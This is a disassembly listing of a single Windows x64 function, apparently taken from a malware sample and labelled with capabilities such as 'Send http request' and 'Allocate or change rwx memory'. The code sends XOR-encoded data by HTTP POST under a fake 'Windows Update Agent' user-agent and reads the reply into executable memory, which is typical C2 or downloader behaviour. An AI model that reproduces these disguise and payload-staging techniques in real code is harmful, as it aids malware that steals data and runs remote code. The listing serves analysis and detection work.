Function at 0x140009ea0
Capabilities:
Allocate or change rwx memory
Connect to http server
Create http request
Encode data using xor
Read data from internet
Receive data
Send data
Send http request
Send http request with host header

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x878
mov rax, qword [0x1400731c8]
xor rax, rsp
mov qword [rsp + 0x860], rax
mov r12, qword [rsp + 0x8e0]
mov rbx, rcx
movsxd r13, dword [rsp + 0x8e8]
lea rcx, [0x140078770]
xor edi, edi
mov rbp, r9
mov dword [rsp + 0x50], edi
mov r14, r8
mov rsi, rdx
call fcn.1400161b4
test eax, eax
je 0x140009eff
mov ecx, eax
call fcn.140015d84
xor r9d, r9d
mov dword [rsp + 0x20], edi
xor r8d, r8d
lea rcx, str.Mozilla_4.0__compatible__MSIE_6.1__Windows_NT_
xor edx, edx
call qword [sym.imp.WININET.dll_InternetOpenA]
mov qword [rsp + 0x48], rax
mov r15, rax
test rax, rax
je 0x14000a189
mov rcx, rsi
call fcn.14003db90
mov qword [rsp + 0x38], rdi
mov r8d, eax
mov dword [rsp + 0x30], edi
xor r9d, r9d
mov dword [rsp + 0x28], 3
mov rdx, rbx
mov rcx, r15
mov qword [rsp + 0x20], rdi
call qword [sym.imp.WININET.dll_InternetConnectA]
mov r15, rax
test rax, rax
je 0x14000a177
mov qword [rsp + 0x38], rdi
lea rdx, str.POST
mov dword [rsp + 0x30], 0x84200200
xor r9d, r9d
mov qword [rsp + 0x28], rdi
mov r8, r14
mov rcx, rax
mov qword [rsp + 0x20], rdi
call qword [sym.imp.WININET.dll_HttpOpenRequestA]
mov rsi, rax
test rax, rax
je 0x14000a17c
xor edx, edx
lea rcx, [rsp + 0x60]
mov r8d, 0x800
call fcn.140039060
mov r9d, r13d
lea rdx, str.Host:__s_r_nUser_Agent:_Windows_Update_AgentConnection:_Keep_Alive_r_nContent_Length:__d_r_nAccept:_text_html_application_xhtmlxml_application_xml_q0.9_image_webp___q0.8_r_nAccept_Encoding:_deflate_r_nAccept_Language:_en_us_r_nPragma:_no_cache_r_n
mov r8, rbx
lea rcx, [rsp + 0x60]
call fcn.14000a1f0
test r12, r12
je 0x14000a0e2
test r13d, r13d
je 0x14000a0e2
lea eax, [r13 + 1]
mov r9d, 0x40
movsxd rbx, eax
mov r8d, 0x1000
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rbx
xor edx, edx
mov rcx, rax
mov r14, rax
call fcn.140039060
mov r9, r13
mov r8, r12
mov rdx, r13
mov rcx, r14
mov rbx, r13
call fcn.140009df0
mov rcx, rdi
test r13d, r13d
je 0x14000a08d
cmp rbx, 0x20
jb 0x14000a06a
movdqa xmm2, xmmword [0x1400664c0]
mov rax, rbx
and eax, 0x1f
mov rdx, rbx
sub rdx, rax
lea rax, [r14 + 0x10]
movdqu xmm0, xmmword [rax - 0x10]
add rcx, 0x20
lea rax, [rax + 0x20]
pxor xmm0, xmm2
movdqu xmmword [rax - 0x30], xmm0
movdqu xmm1, xmmword [rax - 0x20]
pxor xmm1, xmm2
movdqu xmmword [rax - 0x20], xmm1
cmp rcx, rdx
jb 0x14000a041
cmp rcx, rbx
jae 0x14000a08d
lea rax, [rcx + r14]
sub rbx, rcx
nop word [rax + rax]
xor byte [rax], 0x14
lea rax, [rax + 1]
sub rbx, 1
jne 0x14000a080
lea rax, [rsp + 0x60]
or r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], dil
jne 0x14000a096
mov r9, r14
mov dword [rsp + 0x20], r13d
lea rdx, [rsp + 0x60]
mov rcx, rsi
call qword [sym.imp.WININET.dll_HttpSendRequestA]
xor edx, edx
mov r8d, 0x8000
mov rcx, r14
test eax, eax
jne 0x14000a0da
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x14000a193
call qword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x14000a112
lea rax, [rsp + 0x60]
or r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], dil
jne 0x14000a0f0
xor r9d, r9d
mov dword [rsp + 0x20], edi
lea rdx, [rsp + 0x60]
mov rcx, rsi
call qword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
je 0x14000a17c
cmp byte [rsp + 0x8f8], dil
je 0x14000a17c
xor ecx, ecx
mov edx, 0x200000
mov r8d, 0x1000
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
or ecx, 0xffffffff
mov rdi, rax
mov dword [rsp + 0x40], ecx
nop dword [rax]
test ecx, ecx
je 0x14000a17c
movsxd rdx, dword [rbp]
lea r9, [rsp + 0x40]
add rdx, rdi
mov r8d, 0x1000
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetReadFile]
mov ecx, dword [rsp + 0x40]
add dword [rbp], ecx
test eax, eax
jne 0x14000a140
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x14000a193
mov rsi, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x14000a193
mov r15, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x48]
test r15, r15
je 0x14000a1a1
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
test rsi, rsi
je 0x14000a1af
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rcx, [0x140078770]
call fcn.1400161d8
test eax, eax
je 0x14000a1c6
mov ecx, eax
call fcn.140015d84
mov rax, rdi
mov rcx, qword [rsp + 0x860]
xor rcx, rsp
call fcn.140017e70
add rsp, 0x878
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret